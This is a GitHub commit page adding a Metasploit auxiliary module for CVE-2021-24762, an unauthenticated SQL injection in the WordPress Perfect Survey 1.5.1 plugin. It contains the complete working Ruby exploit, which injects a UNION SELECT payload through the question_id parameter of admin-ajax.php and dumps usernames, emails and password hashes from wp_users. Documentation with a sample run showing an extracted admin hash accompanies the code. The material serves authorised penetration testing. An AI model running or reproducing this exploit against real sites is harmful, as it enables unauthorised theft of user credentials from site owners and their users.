Skip to content

Commit 4c0a403

Browse files
authored
Land rapid7#19701, Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
Land rapid7#19701, Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
2 parents eb11cb6 + 095bd94 commit 4c0a403

File tree

3 files changed

+181
-0
lines changed

3 files changed

+181
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,3 +67,4 @@ ultimate-member
6767
wp-fastest-cache
6868
post-smtp
6969
really-simple-ssl
70+
perfect-survey
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
## Vulnerable Application
2+
3+
Perfect Survey, a WordPress plugin, version 1.5.1 is affected by an unauthenticated SQL injection vulnerability
4+
via the `question_id` parameter.
5+
6+
An unauthenticated attacker can exploit this SQL injection vulnerability to retrieve sensitive information,
7+
such as usernames and password hashes, from the `wp_users` table.
8+
9+
The vulnerable plugin can be downloaded from the [WordPress plugin repository](https://wordpress.org/plugins/).
10+
The specific vulnerable version can be found here: https://www.exploit-db.com/apps/51c80e6262c3a39fa852ebf96ff86b78-perfect-survey.1.5.1.zip
11+
12+
## Verification Steps
13+
14+
1. Install the WordPress application and the vulnerable version of the Perfect Survey plugin.
15+
2. Start `msfconsole`.
16+
3. Run: `use auxiliary/scanner/http/wp_perfect_survey_sqli`.
17+
4. Set the target host: `set RHOSTS [ip]`.
18+
5. Adjust other options as necessary, such as `TARGETURI` (default is `/`).
19+
6. Execute the module: `run`.
20+
7. The module should retrieve usernames and password hashes from the WordPress installation.
21+
22+
## Options
23+
24+
## Scenarios
25+
26+
### WordPress with Perfect Survey Plugin 1.5.1 on Ubuntu 20.04
27+
28+
#### Example
29+
30+
```sh
31+
msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli
32+
[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli
33+
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104
34+
RHOSTS => 192.168.1.104
35+
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000
36+
RPORT => 8000
37+
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress
38+
TARGETURI => /wordpress
39+
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
40+
[*] Running module against 192.168.1.104
41+
42+
[*] Running automatic check ("set AutoCheck false" to disable)
43+
[+] The target is vulnerable.
44+
[*] Exploiting SQLi in Perfect Survey plugin...
45+
[*] Extracting credential information
46+
47+
WordPress User Credentials
48+
==========================
49+
50+
Username Email Hash
51+
-------- ----- ----
52+
admin [email protected] $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1
53+
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) >
54+
```
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Exploit::SQLi
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
11+
GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)',
18+
'Description' => %q{
19+
This module exploits a SQL injection vulnerability in the Perfect Survey
20+
plugin for WordPress (version 1.5.1). An unauthenticated attacker can
21+
exploit the SQLi to retrieve sensitive information such as usernames,
22+
emails, and password hashes from the `wp_users` table.
23+
},
24+
'Author' => [
25+
'Aaryan Golatkar', # Metasploit Module Creator
26+
'Ron Jost' # Vulnerability discovery
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' => [
30+
['EDB', '50766'],
31+
['CVE', '2021-24762']
32+
],
33+
'DisclosureDate' => '2021-10-05',
34+
'Notes' => {
35+
'Stability' => [CRASH_SAFE],
36+
'SideEffects' => [IOC_IN_LOGS],
37+
'Reliability' => []
38+
}
39+
)
40+
)
41+
42+
register_options([
43+
OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
44+
Opt::RPORT(80) # Default port for HTTP
45+
])
46+
end
47+
48+
# Define SQLi object
49+
def get_sqli_object
50+
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
51+
endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
52+
sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users"
53+
params = {
54+
'action' => 'get_question',
55+
'question_id' => sqli_payload
56+
}
57+
58+
# Send HTTP GET request
59+
res = send_request_cgi({
60+
'uri' => endpoint,
61+
'method' => 'GET',
62+
'vars_get' => params
63+
})
64+
65+
# Validate response
66+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res
67+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200
68+
69+
html_content = res.get_json_document['html']
70+
fail_with(Failure::Unknown, 'HTML content is empty') unless html_content
71+
72+
# Extract data from response
73+
match_data = /survey_question_p">([^<]+)/.match(html_content)
74+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data
75+
76+
extracted_data = match_data.captures[0]
77+
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data
78+
79+
extracted_data
80+
end
81+
end
82+
83+
# Check method
84+
def check
85+
@sqli = get_sqli_object
86+
return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
87+
return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable
88+
89+
Exploit::CheckCode::Safe
90+
end
91+
92+
# Run method
93+
def run
94+
print_status('Exploiting SQLi in Perfect Survey plugin...')
95+
@sqli ||= get_sqli_object
96+
fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
97+
98+
creds_table = Rex::Text::Table.new(
99+
'Header' => 'WordPress User Credentials',
100+
'Indent' => 1,
101+
'Columns' => ['Username', 'Email', 'Hash']
102+
)
103+
104+
print_status("Extracting credential information\n")
105+
users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
106+
users.each do |(username, email, hash)|
107+
creds_table << [username, email, hash]
108+
create_credential({
109+
workspace_id: myworkspace_id,
110+
origin_type: :service,
111+
module_fullname: fullname,
112+
username: username,
113+
private_type: :nonreplayable_hash,
114+
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
115+
private_data: hash,
116+
service_name: 'WordPress Perfect Survey Plugin',
117+
address: datastore['RHOSTS'],
118+
port: datastore['RPORT'],
119+
protocol: 'tcp',
120+
status: Metasploit::Model::Login::Status::UNTRIED,
121+
email: email
122+
})
123+
end
124+
print_line creds_table.to_s
125+
end
126+
end

0 commit comments

Comments
 (0)